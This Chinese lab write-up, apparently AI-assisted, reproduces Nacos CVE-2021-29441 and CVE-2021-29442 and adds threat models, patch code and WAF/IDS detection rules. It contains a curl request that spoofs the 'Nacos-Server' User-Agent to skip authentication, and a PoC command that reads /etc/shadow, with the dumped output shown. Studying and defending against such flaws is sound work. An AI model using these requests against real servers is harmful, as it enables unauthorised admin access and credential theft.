创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
这里只展示了CVE-2021-29441的部分。
漏洞原理分析
漏洞原理代码流程图
┌─────────────────────────────────────────────────┐
│ Nacos AuthFilter.doFilter() │
├─────────────────────────────────────────────────┤
│ public void doFilter(...) { │
│ // 关键漏洞代码: │
│ String userAgent = request.getHeader( │
│ "User-Agent"); │
│ if (userAgent != null && │
│ userAgent.contains("Nacos-Server")) { │
│ // BUG: 直接放行内部请求! │
│ filterChain.doFilter(request, response); │
│ return; │
│ } │
│ // 正常认证流程... │
│ } │
└─────────────────────────────────────────────────┘
CVE-2021-29441 是 Nacos 中的一个 认证绕过漏洞(Authentication Bypass by Spoofing),影响 Nacos < 1.4.1。当启用认证机制 (-Dnacos.core.auth.enabled=true) 时,Nacos 使用 AuthFilter servlet 过滤器来强制执行身份验证,但该过滤器存在一个“后门”,导致认证检查被绕过。其关键点是:
- 该后门逻辑依赖 User-Agent HTTP 头
- User-Agent 被认为是可信的(例如
"Nacos-Server") - 攻击者可 伪造该头部 来跳过认证
- 绕过后可以执行任何 Nacos 管理行为,包括服务与配置操作
- 未授权用户因此获得完全管理权限
换句话说:过滤器本应在请求到达控制器前阻止未认证访问,但后门逻辑错误地将某些 User-Agent 标记为“可信内部请求”,从而直接进入核心逻辑。
攻击场景流程图 + DFD 威胁建模
graph TD
A[攻击者] --> B[探测目标<br>访问/nacos/v1/auth/users]
B --> C[返回403 Forbidden]
C --> D[构造伪造请求]
D --> E[添加UA头: Nacos-Server]
E --> F[Nacos AuthFilter]
F --> G{UA检测}
G -->|检测到Nacos-Server| H[判定为内部请求]
G -->|未检测到| I[正常认证流程]
H --> J[跳过认证检查]
J --> K[放行请求]
K --> L[创建新用户]
K --> M[重置管理员密码]
K --> N[获取配置文件]
L --> O[权限提升成功]
M --> O
N --> P[信息泄露]
style F fill:#ffcccc
style G fill:#ff9999
style H fill:#ff6666
攻击者通过伪造 HTTP 请求中的 User-Agent 为 "Nacos-Server"(或其他被错误信任的字符串),触发过滤器绕过逻辑,从而跳过认证检查。该攻击路径不需要凭据,攻击复杂度低。
DFD(数据流图:威胁建模)
[Attacker]
|
| (1) HTTP Request w/ Spoofed User-Agent
v
[Process P1: Nacos AuthFilter]
|
| (2) Bypass Check (User-Agent Trusted)
v
[Process P2: Business Logic]
|
| (3) Administrative Actions
v
[DataStore: Configs & Metadata]
STRIDE 分析
| 威胁类别 | 是否 | 说明 |
|---|---|---|
| Spoofing(伪造) | ✅ | 攻击者伪造 User-Agent |
| Tampering | ⚠️ | 未经授权修改配置 |
| Repudiation | ⚠️ | 无合法身份痕迹 |
| Information Disclosure | ✅ | 查看/修改敏感配置 |
| Denial of Service | ⚠️ | 可滥用资源 |
| Elevation of Privilege | ✅ | 未授权执行管理员操作 |
| 该漏洞核心是 认证信任破坏,攻击者借助伪造身份标识绕过权限边界。 |
漏洞复现原理图示说明
攻击步骤时序图
sequenceDiagram
participant A as 攻击者
participant N as Nacos服务器
participant AF as AuthFilter
participant API as API处理器
participant DB as 数据库
A->>N: 1. 探测请求<br>GET /nacos/v1/auth/users
N->>AF: 2. 请求进入过滤器
AF->>A: 3. 返回403 Forbidden
Note right of A: 攻击者识别到认证机制
A->>N: 4. 伪造请求<br>添加User-Agent: Nacos-Server
N->>AF: 5. 再次进入过滤器
AF->>AF: 6. 检测UA头<br>发现"Nacos-Server"
AF->>API: 7. 跳过认证<br>直接放行
API->>DB: 8. 执行敏感操作
DB->>API: 9. 返回操作结果
API->>A: 10. 返回成功响应
Note right of A: 攻击者获得未授权访问权限
正常访问流程与绕过流程对比如下:
Normal Client:
Client → AuthFilter → Validate Credentials → Business Logic
Bypass Path:
Attacker → AuthFilter → SkipValidation (User-Agent Trusted) → Business Logic (Admin)
说明:AuthFilter 的预期功能是处理所有进入请求的身份验证,而绕过逻辑使特定 User-Agent 跳过了这一层检查,直接进入管理功能区域。
例如:未伪造 User-Agent 的请求:POST /nacos/v1/cs/configs?... → 403 Forbidden (Unknown user)
伪造:curl -X POST -A Nacos-Server "http://host:8848/nacos/v1/cs/configs?..." → true
说明认证被成功绕过,直接得到成功响应。
根本原因 在受影响版本中:
- Nacos 存在 默认鉴权绕过问题
- 某些管理 API 未进行权限校验
- 可直接调用内部执行接口
- 通过构造特定请求实现命令执行
实际漏洞链条
Step 1:未授权访问接口
攻击者直接访问:/nacos/v1/auth/users或/nacos/v1/cs/ops/derby
Step 2:利用内部操作接口 PoC 脚本核心逻辑通常是:
- 伪造请求
- 注入执行命令参数
- 触发 Java Runtime 执行
python CVE-2021-29442.py -t http://localhost:8848 -c "cat /etc/shadow 2>/dev/null"
本质是POST /nacos/v1/cs/ops/derby内部调用 Java 执行Runtime.getRuntime().exec(cmd)导致cat /etc/shadow被直接执行。
STRIDE 分析
| 威胁类型 | 是否 | 说明 |
|---|---|---|
| Spoofing | ✅ | 伪造 API 调用 |
| Tampering | ✅ | 可执行任意命令 |
| Repudiation | ⚠️ | 默认日志不足 |
| Info Disclosure | ✅ | 可读取敏感文件 |
| DoS | ✅ | 可执行高负载命令 |
| Elevation | ✅ | 若以 root 运行则完全沦陷 |
漏洞复现
官方Poc,与Wiki相比,它是直接将*.jar文件进行密码哈希后添加到一个自动化脚本当中。我们运行与python CVE-2021-29442.py -t http://localhost:8848 -c "cat /etc/shadow 2>/dev/null" 类似的命令。
python CVE-2021-29442.py -t http://localhost:8848 -c "cat /etc/shadow 2>/dev/null"
{"code":200,"message":null,"data":""}
{"code":200,"message":null,"data":[{"B":0,"A":"root:*:19901:0:99999:7:::daemon:*:19901:0:99999:7:::bin:*:19901:0:99999:7:::sys:*:19901:0:99999:7:::sync:*:19901:0:99999:7:::games:*:19901:0:99999:7:::man:*:19901:0:99999:7:::lp:*:19901:0:99999:7:::mail:*:19901:0:99999:7:::news:*:19901:0:99999:7:::uucp:*:19901:0:99999:7:::proxy:*:19901:0:99999:7:::www-data:*:19901:0:99999:7:::backup:*:19901:0:99999:7:::list:*:19901:0:99999:7:::irc:*:19901:0:99999:7:::gnats:*:19901:0:99999:7:::nobody:*:19901:0:99999:7:::_apt:*:19901:0:99999:7:::"}]}
接着,我们复现nacos/CVE-2021-29441。启动服务时,发现3306端口已经被Mysql80占用。
docker compose up -d
time="2026-01-10T17:23:59+08:00" level=warning msg="C:\\Users\\lucky\\vulhub\\nacos\\CVE-2021-29441\\docker-compose.yml: the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion"
[+] Running 0/1
- Container mysql Starting 0.0s
Error response from daemon: ports are not available: exposing port TCP 0.0.0.0:3306 -> 127.0.0.1:0: listen tcp 0.0.0.0:3306: bind: Only one usage of each socket address (protocol/network address/port) is normally permitted.
于是我输入以下的命令进行排查,最后利用services.msc命令启动进程管理器,手动停止Mysql的服务。
真服了,对于同样的9848端口怎么也排除不了,修改配置文件也不行。于是乎,一顿操作猛如虎,结果怀疑是梯子到期或机器码和ip被锁定。不说了,都是泪啊,有CVE-2021-29442就不错了。
修复建议
这里只涵盖了CVE-2021-29441的修复建议。
- 升级版本:立即升级至 Nacos 1.4.1+ 或 2.0.1+。这些版本默认关闭了空鉴权逻辑。
- 开启鉴权:在
application.properties中确保nacos.core.auth.enabled=true。 - 修改默认密钥:
- 修改
nacos.core.auth.server.identity.key。 - 修改
nacos.core.auth.server.identity.value。 - 修改
nacos.core.auth.plugin.nacos.token.secret.key(这是防止 JWT 伪造的关键)。
- 修改
- 网络隔离:生产环境的 Nacos 控制台不应直接暴露在公网,建议通过内网或 VPN 访问。
伪代码级修复示例
官方修复的主要思路是移除基于 User-Agent 的硬编码识别,转而使用可配置的 Identity Key 和 Value 进行节点校验。
漏洞代码逻辑(抽象):
public class AuthFilter implements Filter {
public void doFilter(ServletRequest request, ...) {
String userAgent = ((HttpServletRequest)request).getHeader("User-Agent");
// 危险:硬编码校验,容易被外部伪造
if ("Nacos-Server".equals(userAgent)) {
chain.doFilter(request, response); // 直接跳过鉴权
return;
}
checkFullAuthentication(request);
}
}
修复方案逻辑(抽象):
public class AuthFilter implements Filter {
public void doFilter(ServletRequest request, ...) {
// 1. 从配置中读取受信任的 Key 和 Value
String identityKey = env.getProperty("nacos.core.auth.server.identity.key");
String identityValue = env.getProperty("nacos.core.auth.server.identity.value");
// 2. 检查请求头中是否包含自定义的身份标识(而非通用的 User-Agent)
String requestValue = ((HttpServletRequest)request).getHeader(identityKey);
if (identityValue.equals(requestValue) && !identityValue.isEmpty()) {
chain.doFilter(request, response);
return;
}
// 3. 否则进行严格的 Token/账号校验
validateToken(request);
}
}
更严格的修改策略
// 修复后的AuthFilter
public class FixedAuthFilter implements Filter {
@Override
public void doFilter(ServletRequest req, ServletResponse resp,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
String uri = request.getRequestURI();
// 不再仅依赖User-Agent判断
// 改为多重验证机制
// 1. 检查是否为内部API调用(需要更严格的验证)
boolean isInternalRequest = isInternalRequest(request);
if (isInternalRequest) {
// 2. 验证请求来源IP(白名单)
String clientIp = request.getRemoteAddr();
if (!isTrustedIp(clientIp)) {
sendError(resp, "Unauthorized internal request");
return;
}
// 3. 验证内部令牌(如果存在)
String internalToken = request.getHeader("X-Nacos-Internal-Token");
if (!validateInternalToken(internalToken)) {
sendError(resp, "Invalid internal token");
return;
}
}
// 4. 执行正常认证流程
if (!checkAuthentication(request)) {
sendError(resp, "Authentication required");
return;
}
chain.doFilter(req, resp);
}
private boolean isInternalRequest(HttpServletRequest request) {
// 更严格的内部请求判断
String userAgent = request.getHeader("User-Agent");
return userAgent != null && userAgent.equals("Nacos-Server");
}
private boolean isTrustedIp(String ip) {
// IP白名单验证
return ip.startsWith("10.") ||
ip.startsWith("192.168.") ||
ip.equals("127.0.0.1");
}
private boolean validateInternalToken(String token) {
// 内部令牌验证逻辑
return token != null && token.equals(getExpectedToken());
}
}
基于该漏洞的安全检测与防护规则
由于漏洞原理是绕过认证检查,可以设计如下检测与防护:
- WAF 策略规则(ModSecurity 示例) 规则:禁止未授权请求通过伪造 User-Agent 访问管理 API
SecRule REQUEST_HEADERS:User-Agent "Nacos-Server" \
"id:100010,\
phase:1,\
block,\
msg:'Potential Nacos Auth Bypass via UA Spoofing',\
tag:'attack-injection',\
severity:'CRITICAL',\
chain"
SecRule REQUEST_URI "@rx ^/nacos/v1/(auth|cs)/" \
"t:none,\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
说明:
- 匹配严格的 User-Agent
- 阻断此类访问请求
- 结合访问路径策略进一步收敛:仅针对
/nacos/v1/cs/*管理路径
- IDS / Suricata 示例规则
alert tcp $EXTERNAL_NET any -> $HOME_NET 8848 ( \
msg:"NACOS Auth Bypass Attempt via UA Spoofing"; \
flow:to_server,established; \
content:"User-Agent"; content:"Nacos-Server"; \
content:"POST"; content:"/nacos/v1/auth/users"; \
classtype:web-application-attack; \
sid:20211001; rev:1;)
- SIEM 关联检测(Splunk/ELK) 检测未经认证访问成功返回敏感端点:
index=web_logs "/nacos/v1/cs/" status=200
| stats count by src_ip, user_agent
| where user_agent="Nacos-Server"
本文参考:
[1].Nacos 历史漏洞复现 | X1ongSec www.qwesec.com/2025/06/nac…
[2].Vulnerability-Wiki/docs-base/docs/cloud/Nacos-未授权接口命令执行漏洞-CVE-2021-29442.md at master · Threekiii/Vulnerability-Wiki github.com/Threekiii/V…